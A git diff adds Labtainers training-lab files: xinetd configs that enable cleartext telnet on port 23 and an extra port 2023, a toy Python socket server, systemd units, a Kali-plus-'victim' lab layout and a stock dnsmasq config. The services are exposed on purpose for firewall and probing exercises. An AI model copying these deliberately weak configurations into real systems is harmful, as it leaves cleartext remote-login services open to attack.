1314/tcp # french minitel +support 1529/tcp # GNATS +cfinger 2003/tcp # GNU Finger +frox 2121/tcp # frox: caching ftp proxy +ninstall 2150/tcp # ninstall service +ninstall 2150/udp +zebrasrv 2600/tcp # zebra service +zebra 2601/tcp # zebra vty +ripd 2602/tcp # ripd vty (zebra) +ripngd 2603/tcp # ripngd vty (zebra) +ospfd 2604/tcp # ospfd vty (zebra) +bgpd 2605/tcp # bgpd vty (zebra) +ospf6d 2606/tcp # ospf6d vty (zebra) +ospfapi 2607/tcp # OSPF-API +isisd 2608/tcp # ISISd vty (zebra) +afbackup 2988/tcp # Afbackup system +afbackup 2988/udp +afmbackup 2989/tcp # Afmbackup system +afmbackup 2989/udp +xtell 4224/tcp # xtell server +fax 4557/tcp # FAX transmission service (old) +hylafax 4559/tcp # HylaFAX client-server protocol (new) +distmp3 4600/tcp # distmp3host daemon +munin 4949/tcp lrrd # Munin +enbd-cstatd 5051/tcp # ENBD client statd +enbd-sstatd 5052/tcp # ENBD server statd +pcrd 5151/tcp # PCR-1000 Daemon +noclog 5354/tcp # noclogd with TCP (nocol) +noclog 5354/udp # noclogd with UDP (nocol) +hostmon 5355/tcp # hostmon uses TCP (nocol) +hostmon 5355/udp # hostmon uses UDP (nocol) +rplay 5555/udp # RPlay audio service +nrpe 5666/tcp # Nagios Remote Plugin Executor +nsca 5667/tcp # Nagios Agent - NSCA +mrtd 5674/tcp # MRT Routing Daemon +bgpsim 5675/tcp # MRT Routing Simulator +canna 5680/tcp # cannaserver +syslog-tls 6514/tcp # Syslog over TLS [RFC5425] +sane-port 6566/tcp sane saned # SANE network scanner daemon +ircd 6667/tcp # Internet Relay Chat +zope-ftp 8021/tcp # zope management by ftp +tproxy 8081/tcp # Transparent Proxy +omniorb 8088/tcp # OmniORB +omniorb 8088/udp +clc-build-daemon 8990/tcp # Common lisp build daemon +xinetd 9098/tcp +mandelspawn 9359/udp mandelbrot # network mandelbrot +git 9418/tcp # Git Version Control System +zope 9673/tcp # zope server +webmin 10000/tcp +kamanda 10081/tcp # amanda backup services (Kerberos) +kamanda 10081/udp +amandaidx 10082/tcp # amanda backup services +amidxtape 10083/tcp # amanda backup services +smsqp 11201/tcp # Alamin SMS gateway +smsqp 11201/udp +xpilot 15345/tcp # XPilot Contact Port +xpilot 15345/udp +sgi-cmsd 17001/udp # Cluster membership services daemon +sgi-crsd 17002/udp +sgi-gcd 17003/udp # SGI Group membership daemon +sgi-cad 17004/tcp # Cluster Admin daemon +isdnlog 20011/tcp # isdn logging system +isdnlog 20011/udp +vboxd 20012/tcp # voice box system +vboxd 20012/udp +binkp 24554/tcp # binkp fidonet protocol +asp 27374/tcp # Address Search Protocol +asp 27374/udp +csync2 30865/tcp # cluster synchronization tool +dircproxy 57000/tcp # Detachable IRC Proxy +tfido 60177/tcp # fidonet EMSI over telnet +fido 60179/tcp # fidonet EMSI over TCP + +# Local services diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/etc/xinetd.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/etc/xinetd.conf new file mode 100644 index 000000000..94a44e584 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/etc/xinetd.conf @@ -0,0 +1,15 @@ +# Simple configuration file for xinetd +# +# Some defaults, and include /etc/xinetd.d/ + +defaults +{ + +# Please note that you need a log_type line to be able to use log_on_success +# and log_on_failure. The default is the following : +log_type = SYSLOG daemon info + +} + +includedir /etc/xinetd.d + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/etc/xinetd.d/ssh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/etc/xinetd.d/ssh new file mode 100644 index 000000000..9b8db4365 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/etc/xinetd.d/ssh @@ -0,0 +1,12 @@ +service ssh +{ + socket_type = stream + protocol = tcp + wait = no + port = 22 + user = root + server = /usr/sbin/sshd + server_args = -i + disable = no +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/etc/xinetd.d/telnet b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/etc/xinetd.d/telnet new file mode 100644 index 000000000..b1791994e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/etc/xinetd.d/telnet @@ -0,0 +1,10 @@ +service telnet +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/in.telnetd + log_on_failure += USERID + disable = no +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/etc/xinetd.d/telnetx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/etc/xinetd.d/telnetx new file mode 100644 index 000000000..41125dc28 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/etc/xinetd.d/telnetx @@ -0,0 +1,11 @@ +service telnetx +{ + flags = REUSE + socket_type = stream + port = 2023 + wait = no + user = root + server = /usr/sbin/in.telnetd + log_on_failure += USERID + disable = no +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/lib/systemd/system/httpserver.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/lib/systemd/system/httpserver.service new file mode 100644 index 000000000..aea420791 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/lib/systemd/system/httpserver.service @@ -0,0 +1,11 @@ +[Unit] +Description=HTTP Service + +[Service] +Type=simple +ExecStart=/home/ubuntu/MyHTTPServer.py +StandardOutput=null + +[Install] +WantedBy=multi-user.target +Alias=httpserver.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/lib/systemd/system/wizbang.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/lib/systemd/system/wizbang.service new file mode 100644 index 000000000..d0ecf29ce --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/lib/systemd/system/wizbang.service @@ -0,0 +1,9 @@ +[Unit] +Description=wizbang + +[Service] +ExecStart=/home/ubuntu/server + +[Install] +WantedBy=multi-user.target +Alias=wizbang.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/sbin/faux_init new file mode 100755 index 000000000..d585dd5d8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/sbin/faux_init @@ -0,0 +1,21 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + +/etc/init.d/httpserver.sh start +service xinetd restart + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/filetodigest.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/filetodigest.txt new file mode 100644 index 000000000..6e6a10260 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/filetodigest.txt @@ -0,0 +1,2 @@ +# the file is parameterized to be unique for each student +My string is: MY_DIGEST diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/index.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/index.html new file mode 100644 index 000000000..ff1b7c6c1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/index.html @@ -0,0 +1,12 @@ + +Sample index.html for MyHTTPServer + +

Sample index.html for MyHTTPServer

+
+

Links:

+
+link1.html +
+link2.html + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/link1.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/link1.html new file mode 100644 index 000000000..485184386 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/link1.html @@ -0,0 +1,15 @@ + +Sample link1.html for MyHTTPServer + +This is sample

link1.html

for MyHTTPServer +
+index.html +
+link2.html +
+# The secret string below will be replaced with a keyed hash +
+My secret string is: HTTP_SECRET +
+ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/link2.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/link2.html new file mode 100644 index 000000000..590447299 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/link2.html @@ -0,0 +1,15 @@ + +Sample link2.html for MyHTTPServer + +This is sample

link2.html

for MyHTTPServer +
+index.html +
+link1.html +
+# The secret string below will be replaced with a keyed hash +
+My secret string is: HTTP_SECRET +
+ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/server b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/server new file mode 100755 index 000000000..34af447d9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/server @@ -0,0 +1,50 @@ +#!/usr/bin/env python +''' +Simulate a dumb server +''' +import socket + +SERVICE_PORT = WIZ_PORT + +def do_something(constream, data): + print('received: %s' % data) + if data is None: + return False + else: + return True + +def deal_with_client(connstream): + try: + data = connstream.recv(1024) + except: + return + # null data means the client is finished with us + while data: + if not do_something(connstream, data): + # we'll assume do_something returns False + # when we're finished with client + break + data = connstream.recv(1024) + # finished with client + +''' this host name, e.g., plc1 ''' +this_host = socket.gethostname() + +''' bind socket and listen ''' +bindsocket = socket.socket() +bindsocket.bind((this_host, SERVICE_PORT)) +bindsocket.listen(5) + +while True: + ''' wait for client to open connection ''' + newsocket, fromaddr = bindsocket.accept() + print('Connection from %s' % str(fromaddr)) + try: + deal_with_client(newsocket) + finally: + try: + newsocket.shutdown(socket.SHUT_RDWR) + except: + pass + newsocket.close() + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/config/parameter.config new file mode 100644 index 000000000..f4020f11b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/config/parameter.config @@ -0,0 +1,6 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# +PASSWD : CLONE_REPLACE : kali-test:.local/bin/fixlocal.sh : CLONE_NUM : CLONE + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/config/start.config new file mode 100644 index 000000000..f72605418 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/config/start.config @@ -0,0 +1,84 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER kali-test + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED kali-test_mike_master_seed + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +NETWORK LAN + MASK 192.168.1.0/24 + GATEWAY 192.168.1.1 + IP_RANGE 192.168.1.0/24 + MACVLAN 1 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER kali-test + # user name of user who interacts with the container. + USER ubuntu + LAN 192.168.1.3+CLONE_MAC + CLIENT YES + #X11 YES + + +CONTAINER victim + # user name of user who interacts with the container. + USER ubuntu + SCRIPT NONE + NO_PRIVILEGE YES + LAN 192.168.1.200 + +CONTAINER dhcp + # user name of user who interacts with the container. + USER ubuntu + LAN 192.168.1.201 + # cause ~/instructions.txt to display, if it exists + #XTERM INSTRUCTIONS + # + # The number of terminals dhcps to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + # DMZ_LINK 172.25.0.2 + # + # Script name passed to the Docker start command. This dhcps to bash, which is used + # by most Ubuntu-based labtainers. The CENTOS containers should pass a value of "NONE" + # because they will start with the /usr/sbin/init. + # SCRIPT NONE + # + # Host names to add to /etc/hosts, may be multiple + # ADD-HOST host:ip + # + # Mount Linux host X11 server socket for use by GUI-app in container. + # X11 YES + # + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/dhcp/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/dhcp/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/dhcp/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/dhcp/_system/etc/dnsmasq.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/dhcp/_system/etc/dnsmasq.conf new file mode 100644 index 000000000..46930ba57 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/dhcp/_system/etc/dnsmasq.conf @@ -0,0 +1,667 @@ +# Configuration file for dnsmasq. +# +# Format is one option per line, legal options are the same +# as the long options legal on the command line. See +# "/usr/sbin/dnsmasq --help" or "man 8 dnsmasq" for details. + +# Listen on this specific port instead of the standard DNS port +# (53). Setting this to zero completely disables DNS function, +# leaving only DHCP and/or TFTP. +#port=5353 + +# The following two options make you a better netizen, since they +# tell dnsmasq to filter out queries which the public DNS cannot +# answer, and which load the servers (especially the root servers) +# unnecessarily. If you have a dial-on-demand link they also stop +# these requests from bringing up the link unnecessarily. + +# Never forward plain names (without a dot or domain part) +#domain-needed +# Never forward addresses in the non-routed address spaces. +#bogus-priv + +# Uncomment these to enable DNSSEC validation and caching: +# (Requires dnsmasq to be built with DNSSEC option.) +#conf-file=%%PREFIX%%/share/dnsmasq/trust-anchors.conf +#dnssec + +# Replies which are not DNSSEC signed may be legitimate, because the domain +# is unsigned, or may be forgeries. Setting this option tells dnsmasq to +# check that an unsigned reply is OK, by finding a secure proof that a DS +# record somewhere between the root and the domain does not exist. +# The cost of setting this is that even queries in unsigned domains will need +# one or more extra DNS queries to verify. +#dnssec-check-unsigned + +# Uncomment this to filter useless windows-originated DNS requests +# which can trigger dial-on-demand links needlessly. +# Note that (amongst other things) this blocks all SRV requests, +# so don't use it if you use eg Kerberos, SIP, XMMP or Google-talk. +# This option only affects forwarding, SRV records originating for +# dnsmasq (via srv-host= lines) are not suppressed by it. +#filterwin2k + +# Change this line if you want dns to get its upstream servers from +# somewhere other that /etc/resolv.conf +#resolv-file= + +# By default, dnsmasq will send queries to any of the upstream +# servers it knows about and tries to favour servers to are known +# to be up. Uncommenting this forces dnsmasq to try each query +# with each server strictly in the order they appear in +# /etc/resolv.conf +#strict-order + +# If you don't want dnsmasq to read /etc/resolv.conf or any other +# file, getting its servers from this file instead (see below), then +# uncomment this. +#no-resolv + +# If you don't want dnsmasq to poll /etc/resolv.conf or other resolv +# files for changes and re-read them then uncomment this. +#no-poll + +# Add other name servers here, with domain specs if they are for +# non-public domains. +#server=/localnet/192.168.0.1 + +# Example of routing PTR queries to nameservers: this will send all +# address->name queries for 192.168.3/24 to nameserver 10.1.2.3 +#server=/3.168.192.in-addr.arpa/10.1.2.3 + +# Add local-only domains here, queries in these domains are answered +# from /etc/hosts or DHCP only. +#local=/localnet/ + +# Add domains which you want to force to an IP address here. +# The example below send any host in double-click.net to a local +# web-server. +#address=/double-click.net/127.0.0.1 + +# --address (and --server) work with IPv6 addresses too. +#address=/www.thekelleys.org.uk/fe80::20d:60ff:fe36:f83 + +# Add the IPs of all queries to yahoo.com, google.com, and their +# subdomains to the vpn and search ipsets: +#ipset=/yahoo.com/google.com/vpn,search + +# You can control how dnsmasq talks to a server: this forces +# queries to 10.1.2.3 to be routed via eth1 +# server=10.1.2.3@eth1 + +# and this sets the source (ie local) address used to talk to +# 10.1.2.3 to 192.168.1.1 port 55 (there must be a interface with that +# IP on the machine, obviously). +# server=10.1.2.3@192.168.1.1#55 + +# If you want dnsmasq to change uid and gid to something other +# than the default, edit the following lines. +#user= +#group= + +# If you want dnsmasq to listen for DHCP and DNS requests only on +# specified interfaces (and the loopback) give the name of the +# interface (eg eth0) here. +# Repeat the line for more than one interface. +#interface= +# Or you can specify which interface _not_ to listen on +#except-interface= +# Or which to listen on by address (remember to include 127.0.0.1 if +# you use this.) +#listen-address= +# If you want dnsmasq to provide only DNS service on an interface, +# configure it as shown above, and then use the following line to +# disable DHCP and TFTP on it. +#no-dhcp-interface= + +# On systems which support it, dnsmasq binds the wildcard address, +# even when it is listening on only some interfaces. It then discards +# requests that it shouldn't reply to. This has the advantage of +# working even when interfaces come and go and change address. If you +# want dnsmasq to really bind only the interfaces it is listening on, +# uncomment this option. About the only time you may need this is when +# running another nameserver on the same machine. +#bind-interfaces + +# If you don't want dnsmasq to read /etc/hosts, uncomment the +# following line. +#no-hosts +# or if you want it to read another file, as well as /etc/hosts, use +# this. +#addn-hosts=/etc/banner_add_hosts + +# Set this (and domain: see below) if you want to have a domain +# automatically added to simple names in a hosts-file. +#expand-hosts + +# Set the domain for dnsmasq. this is optional, but if it is set, it +# does the following things. +# 1) Allows DHCP hosts to have fully qualified domain names, as long +# as the domain part matches this setting. +# 2) Sets the "domain" DHCP option thereby potentially setting the +# domain of all systems configured by DHCP +# 3) Provides the domain part for "expand-hosts" +#domain=thekelleys.org.uk + +# Set a different domain for a particular subnet +#domain=wireless.thekelleys.org.uk,192.168.2.0/24 + +# Same idea, but range rather then subnet +#domain=reserved.thekelleys.org.uk,192.68.3.100,192.168.3.200 + +# Uncomment this to enable the integrated DHCP server, you need +# to supply the range of addresses available for lease and optionally +# a lease time. If you have more than one network, you will need to +# repeat this for each network on which you want to supply DHCP +# service. +#dhcp-range=192.168.0.50,192.168.0.150,12h +dhcp-range=192.168.1.10, 192.168.1.99, 12h + +# This is an example of a DHCP range where the netmask is given. This +# is needed for networks we reach the dnsmasq DHCP server via a relay +# agent. If you don't know what a DHCP relay agent is, you probably +# don't need to worry about this. +#dhcp-range=192.168.0.50,192.168.0.150,255.255.255.0,12h + +# This is an example of a DHCP range which sets a tag, so that +# some DHCP options may be set only for this network. +#dhcp-range=set:red,192.168.0.50,192.168.0.150 + +# Use this DHCP range only when the tag "green" is set. +#dhcp-range=tag:green,192.168.0.50,192.168.0.150,12h + +# Specify a subnet which can't be used for dynamic address allocation, +# is available for hosts with matching --dhcp-host lines. Note that +# dhcp-host declarations will be ignored unless there is a dhcp-range +# of some type for the subnet in question. +# In this case the netmask is implied (it comes from the network +# configuration on the machine running dnsmasq) it is possible to give +# an explicit netmask instead. +#dhcp-range=192.168.0.0,static + +# Enable DHCPv6. Note that the prefix-length does not need to be specified +# and defaults to 64 if missing/ +#dhcp-range=1234::2, 1234::500, 64, 12h + +# Do Router Advertisements, BUT NOT DHCP for this subnet. +#dhcp-range=1234::, ra-only + +# Do Router Advertisements, BUT NOT DHCP for this subnet, also try and +# add names to the DNS for the IPv6 address of SLAAC-configured dual-stack +# hosts. Use the DHCPv4 lease to derive the name, network segment and +# MAC address and assume that the host will also have an +# IPv6 address calculated using the SLAAC alogrithm. +#dhcp-range=1234::, ra-names + +# Do Router Advertisements, BUT NOT DHCP for this subnet. +# Set the lifetime to 46 hours. (Note: minimum lifetime is 2 hours.) +#dhcp-range=1234::, ra-only, 48h + +# Do DHCP and Router Advertisements for this subnet. Set the A bit in the RA +# so that clients can use SLAAC addresses as well as DHCP ones. +#dhcp-range=1234::2, 1234::500, slaac + +# Do Router Advertisements and stateless DHCP for this subnet. Clients will +# not get addresses from DHCP, but they will get other configuration information. +# They will use SLAAC for addresses. +#dhcp-range=1234::, ra-stateless + +# Do stateless DHCP, SLAAC, and generate DNS names for SLAAC addresses +# from DHCPv4 leases. +#dhcp-range=1234::, ra-stateless, ra-names + +# Do router advertisements for all subnets where we're doing DHCPv6 +# Unless overriden by ra-stateless, ra-names, et al, the router +# advertisements will have the M and O bits set, so that the clients +# get addresses and configuration from DHCPv6, and the A bit reset, so the +# clients don't use SLAAC addresses. +#enable-ra + +# Supply parameters for specified hosts using DHCP. There are lots +# of valid alternatives, so we will give examples of each. Note that +# IP addresses DO NOT have to be in the range given above, they just +# need to be on the same network. The order of the parameters in these +# do not matter, it's permissible to give name, address and MAC in any +# order. + +# Always allocate the host with Ethernet address 11:22:33:44:55:66 +# The IP address 192.168.0.60 +#dhcp-host=11:22:33:44:55:66,192.168.0.60 + +# Always set the name of the host with hardware address +# 11:22:33:44:55:66 to be "fred" +#dhcp-host=11:22:33:44:55:66,fred + +# Always give the host with Ethernet address 11:22:33:44:55:66 +# the name fred and IP address 192.168.0.60 and lease time 45 minutes +#dhcp-host=11:22:33:44:55:66,fred,192.168.0.60,45m + +# Give a host with Ethernet address 11:22:33:44:55:66 or +# 12:34:56:78:90:12 the IP address 192.168.0.60. Dnsmasq will assume +# that these two Ethernet interfaces will never be in use at the same +# time, and give the IP address to the second, even if it is already +# in use by the first. Useful for laptops with wired and wireless +# addresses. +#dhcp-host=11:22:33:44:55:66,12:34:56:78:90:12,192.168.0.60 + +# Give the machine which says its name is "bert" IP address +# 192.168.0.70 and an infinite lease +#dhcp-host=bert,192.168.0.70,infinite + +# Always give the host with client identifier 01:02:02:04 +# the IP address 192.168.0.60 +#dhcp-host=id:01:02:02:04,192.168.0.60 + +# Always give the Infiniband interface with hardware address +# 80:00:00:48:fe:80:00:00:00:00:00:00:f4:52:14:03:00:28:05:81 the +# ip address 192.168.0.61. The client id is derived from the prefix +# ff:00:00:00:00:00:02:00:00:02:c9:00 and the last 8 pairs of +# hex digits of the hardware address. +#dhcp-host=id:ff:00:00:00:00:00:02:00:00:02:c9:00:f4:52:14:03:00:28:05:81,192.168.0.61 + +# Always give the host with client identifier "marjorie" +# the IP address 192.168.0.60 +#dhcp-host=id:marjorie,192.168.0.60 + +# Enable the address given for "judge" in /etc/hosts +# to be given to a machine presenting the name "judge" when +# it asks for a DHCP lease. +#dhcp-host=judge + +# Never offer DHCP service to a machine whose Ethernet +# address is 11:22:33:44:55:66 +#dhcp-host=11:22:33:44:55:66,ignore + +# Ignore any client-id presented by the machine with Ethernet +# address 11:22:33:44:55:66. This is useful to prevent a machine +# being treated differently when running under different OS's or +# between PXE boot and OS boot. +#dhcp-host=11:22:33:44:55:66,id:* + +# Send extra options which are tagged as "red" to +# the machine with Ethernet address 11:22:33:44:55:66 +#dhcp-host=11:22:33:44:55:66,set:red + +# Send extra options which are tagged as "red" to +# any machine with Ethernet address starting 11:22:33: +#dhcp-host=11:22:33:*:*:*,set:red + +# Give a fixed IPv6 address and name to client with +# DUID 00:01:00:01:16:d2:83:fc:92:d4:19:e2:d8:b2 +# Note the MAC addresses CANNOT be used to identify DHCPv6 clients. +# Note also the they [] around the IPv6 address are obilgatory. +#dhcp-host=id:00:01:00:01:16:d2:83:fc:92:d4:19:e2:d8:b2, fred, [1234::5] + +# Ignore any clients which are not specified in dhcp-host lines +# or /etc/ethers. Equivalent to ISC "deny unknown-clients". +# This relies on the special "known" tag which is set when +# a host is matched. +#dhcp-ignore=tag:!known + +# Send extra options which are tagged as "red" to any machine whose +# DHCP vendorclass string includes the substring "Linux" +#dhcp-vendorclass=set:red,Linux + +# Send extra options which are tagged as "red" to any machine one +# of whose DHCP userclass strings includes the substring "accounts" +#dhcp-userclass=set:red,accounts + +# Send extra options which are tagged as "red" to any machine whose +# MAC address matches the pattern. +#dhcp-mac=set:red,00:60:8C:*:*:* + +# If this line is uncommented, dnsmasq will read /etc/ethers and act +# on the ethernet-address/IP pairs found there just as if they had +# been given as --dhcp-host options. Useful if you keep +# MAC-address/host mappings there for other purposes. +#read-ethers + +# Send options to hosts which ask for a DHCP lease. +# See RFC 2132 for details of available options. +# Common options can be given to dnsmasq by name: +# run "dnsmasq --help dhcp" to get a list. +# Note that all the common settings, such as netmask and +# broadcast address, DNS server and default route, are given +# sane defaults by dnsmasq. You very likely will not need +# any dhcp-options. If you use Windows clients and Samba, there +# are some options which are recommended, they are detailed at the +# end of this section. + +# Override the default route supplied by dnsmasq, which assumes the +# router is the same machine as the one running dnsmasq. +#dhcp-option=3,1.2.3.4 + +# Do the same thing, but using the option name +#dhcp-option=option:router,1.2.3.4 + +# Override the default route supplied by dnsmasq and send no default +# route at all. Note that this only works for the options sent by +# default (1, 3, 6, 12, 28) the same line will send a zero-length option +# for all other option numbers. +#dhcp-option=3 + +# Set the NTP time server addresses to 192.168.0.4 and 10.10.0.5 +#dhcp-option=option:ntp-server,192.168.0.4,10.10.0.5 + +# Send DHCPv6 option. Note [] around IPv6 addresses. +#dhcp-option=option6:dns-server,[1234::77],[1234::88] + +# Send DHCPv6 option for namservers as the machine running +# dnsmasq and another. +#dhcp-option=option6:dns-server,[::],[1234::88] + +# Ask client to poll for option changes every six hours. (RFC4242) +#dhcp-option=option6:information-refresh-time,6h + +# Set option 58 client renewal time (T1). Defaults to half of the +# lease time if not specified. (RFC2132) +#dhcp-option=option:T1:1m + +# Set option 59 rebinding time (T2). Defaults to 7/8 of the +# lease time if not specified. (RFC2132) +#dhcp-option=option:T2:2m + +# Set the NTP time server address to be the same machine as +# is running dnsmasq +#dhcp-option=42,0.0.0.0 + +# Set the NIS domain name to "welly" +#dhcp-option=40,welly + +# Set the default time-to-live to 50 +#dhcp-option=23,50 + +# Set the "all subnets are local" flag +#dhcp-option=27,1 + +# Send the etherboot magic flag and then etherboot options (a string). +#dhcp-option=128,e4:45:74:68:00:00 +#dhcp-option=129,NIC=eepro100 + +# Specify an option which will only be sent to the "red" network +# (see dhcp-range for the declaration of the "red" network) +# Note that the tag: part must precede the option: part. +#dhcp-option = tag:red, option:ntp-server, 192.168.1.1 + +# The following DHCP options set up dnsmasq in the same way as is specified +# for the ISC dhcpcd in +# http://www.samba.org/samba/ftp/docs/textdocs/DHCP-Server-Configuration.txt +# adapted for a typical dnsmasq installation where the host running +# dnsmasq is also the host running samba. +# you may want to uncomment some or all of them if you use +# Windows clients and Samba. +#dhcp-option=19,0 # option ip-forwarding off +#dhcp-option=44,0.0.0.0 # set netbios-over-TCP/IP nameserver(s) aka WINS server(s) +#dhcp-option=45,0.0.0.0 # netbios datagram distribution server +#dhcp-option=46,8 # netbios node type + +# Send an empty WPAD option. This may be REQUIRED to get windows 7 to behave. +#dhcp-option=252,"\n" + +# Send RFC-3397 DNS domain search DHCP option. WARNING: Your DHCP client +# probably doesn't support this...... +#dhcp-option=option:domain-search,eng.apple.com,marketing.apple.com + +# Send RFC-3442 classless static routes (note the netmask encoding) +#dhcp-option=121,192.168.1.0/24,1.2.3.4,10.0.0.0/8,5.6.7.8 + +# Send vendor-class specific options encapsulated in DHCP option 43. +# The meaning of the options is defined by the vendor-class so +# options are sent only when the client supplied vendor class +# matches the class given here. (A substring match is OK, so "MSFT" +# matches "MSFT" and "MSFT 5.0"). This example sets the +# mtftp address to 0.0.0.0 for PXEClients. +#dhcp-option=vendor:PXEClient,1,0.0.0.0 + +# Send microsoft-specific option to tell windows to release the DHCP lease +# when it shuts down. Note the "i" flag, to tell dnsmasq to send the +# value as a four-byte integer - that's what microsoft wants. See +# http://technet2.microsoft.com/WindowsServer/en/library/a70f1bb7-d2d4-49f0-96d6-4b7414ecfaae1033.mspx?mfr=true +#dhcp-option=vendor:MSFT,2,1i + +# Send the Encapsulated-vendor-class ID needed by some configurations of +# Etherboot to allow is to recognise the DHCP server. +#dhcp-option=vendor:Etherboot,60,"Etherboot" + +# Send options to PXELinux. Note that we need to send the options even +# though they don't appear in the parameter request list, so we need +# to use dhcp-option-force here. +# See http://syslinux.zytor.com/pxe.php#special for details. +# Magic number - needed before anything else is recognised +#dhcp-option-force=208,f1:00:74:7e +# Configuration file name +#dhcp-option-force=209,configs/common +# Path prefix +#dhcp-option-force=210,/tftpboot/pxelinux/files/ +# Reboot time. (Note 'i' to send 32-bit value) +#dhcp-option-force=211,30i + +# Set the boot filename for netboot/PXE. You will only need +# this is you want to boot machines over the network and you will need +# a TFTP server; either dnsmasq's built in TFTP server or an +# external one. (See below for how to enable the TFTP server.) +#dhcp-boot=pxelinux.0 + +# The same as above, but use custom tftp-server instead machine running dnsmasq +#dhcp-boot=pxelinux,server.name,192.168.1.100 + +# Boot for Etherboot gPXE. The idea is to send two different +# filenames, the first loads gPXE, and the second tells gPXE what to +# load. The dhcp-match sets the gpxe tag for requests from gPXE. +#dhcp-match=set:gpxe,175 # gPXE sends a 175 option. 